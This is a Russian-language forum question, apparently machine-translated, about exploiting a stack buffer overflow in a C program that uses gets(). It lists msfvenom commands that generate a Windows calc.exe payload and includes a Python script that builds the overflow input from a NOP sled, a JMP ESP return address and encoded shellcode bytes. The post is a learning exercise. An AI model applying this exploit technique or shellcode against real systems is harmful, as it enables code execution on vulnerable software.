Генерируйте полезную нагрузку с помощью msfvenom для программы на C / C ++, вход которой - stdin (переполнение буфера) - PullRequest
0 голосов
/ 26 декабря 2018

Я пытаюсь сгенерировать шелл-код для моей программы на C / C ++, чтобы использовать уязвимость переполнения буфера, мой код выглядит следующим образом:

#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>

int main(int argc, char * argv[]) {
   welcome();  // prints welcome message
   char daniel[2000];
   gets(daniel);
   return 0;
}

До сих пор я пытался использовать его только под Windows(на моей локальной машине Win10x64 и виртуальная машина с Win7x86).Шелкод генерируется в Kali Linux x64, но я не знаю, что мне не хватает или что я делаю неправильно.До сих пор я пробовал вот эти и, вероятно, еще несколько:

msfvenom -a x64 --platform Windows -p windows / x64 / exec cmd = calc.exe -e x86 / unicode_mixed -b '\ x00 \ x0a \ x0d' -f python

msfvenom -a x64 --платформа Windows -p windows / x64 / exec cmd = calc.exe -e x86 / unicode_upper -b '\ x00 \ x0a\ x0d '-f python

msfvenom -a x64 --платформа Windows -p windows / x64 / exec cmd = calc.exe -e x64 / xor -b' \ x00 \ x0a \ x0d '-f python

msfvenom -a x64 --платформа Windows -p windows / x64 / exec cmd = calc.exe -b '\ x00 \ x0a \ x0d' -f python

msfvenom -a x86 --платформа Windows -p windows / exec cmd = calc.exe -e x86 / unicode_mixed -b '\ x00 \ x0a \ x0d' -f python

msfvenom -a x86 -b '\ x00 \ x0a \ x0d\ xff '--platform Windows -p windows / exec cmd = calc.exe -f python

msfvenom -a x86 -e x86 / alpha_mixed -b' \ x00 \ x0a \ x0d '--платформа Windows -p windows / exec cmd = calc.exe -f python

Мой скрипт на python для создания полезной нагрузки:

import struct
import pyperclip

junk = "\x90" * (2024-220-4)

eip = struct.pack('<I', 0x6FFBB391)

buf =  ""
buf += "\xd9\xf7\xba\x8a\x16\xda\xd3\xd9\x74\x24\xf4\x5f\x33"
buf += "\xc9\xb1\x31\x31\x57\x18\x83\xef\xfc\x03\x57\x9e\xf4"
buf += "\x2f\x2f\x76\x7a\xcf\xd0\x86\x1b\x59\x35\xb7\x1b\x3d"
buf += "\x3d\xe7\xab\x35\x13\x0b\x47\x1b\x80\x98\x25\xb4\xa7"
buf += "\x29\x83\xe2\x86\xaa\xb8\xd7\x89\x28\xc3\x0b\x6a\x11"
buf += "\x0c\x5e\x6b\x56\x71\x93\x39\x0f\xfd\x06\xae\x24\x4b"
buf += "\x9b\x45\x76\x5d\x9b\xba\xce\x5c\x8a\x6c\x45\x07\x0c"
buf += "\x8e\x8a\x33\x05\x88\xcf\x7e\xdf\x23\x3b\xf4\xde\xe5"
buf += "\x72\xf5\x4d\xc8\xbb\x04\x8f\x0c\x7b\xf7\xfa\x64\x78"
buf += "\x8a\xfc\xb2\x03\x50\x88\x20\xa3\x13\x2a\x8d\x52\xf7"
buf += "\xad\x46\x58\xbc\xba\x01\x7c\x43\x6e\x3a\x78\xc8\x91"
buf += "\xed\x09\x8a\xb5\x29\x52\x48\xd7\x68\x3e\x3f\xe8\x6b"
buf += "\xe1\xe0\x4c\xe7\x0f\xf4\xfc\xaa\x45\x0b\x72\xd1\x2b"
buf += "\x0b\x8c\xda\x1b\x64\xbd\x51\xf4\xf3\x42\xb0\xb1\x0c"
buf += "\x09\x99\x93\x84\xd4\x4b\xa6\xc8\xe6\xa1\xe4\xf4\x64"
buf += "\x40\x94\x02\x74\x21\x91\x4f\x32\xd9\xeb\xc0\xd7\xdd"
buf += "\x58\xe0\xfd\xbd\x3f\x72\x9d\x6f\xda\xf2\x04\x70"


buffer_data = junk + eip + buf

print buffer_data
# pyperclip.copy(buffer_data)

Сводкаиз того, что я делаю, будет:

  1. Определение размера буфера (происходит SEGFAULT)
  2. Определение перезаписи EIP (2024)
  3. DLL, загружаемая с программой, имеет инструкцию JMP ESP по адресу 0x6FFBB391 (msvcrt)
  4. Установите для EIP значение 0x6FFBB391
  5. Нажмите мой шелл-код на ESP
  6. Запустите программус моей полезной нагрузкой

Результатом является «Нарушение доступа при чтении 7037DCF5» в соответствии с Immunity Debugger.Программа была скомпилирована с флагом «-fno-stack-protector» и ASLR отключен.

Я предполагаю, что кодировка неверна и шеллкод не генерируется должным образом.У вас есть несколько советов, которым я мог бы следовать, чтобы использовать переполнение буфера в этом случае?Я не против того, что делать, в настоящее время я пытаюсь открыть калькулятор, потому что кажется, что это самый простой выбор, но что-нибудь подойдет.

Заранее спасибо.

...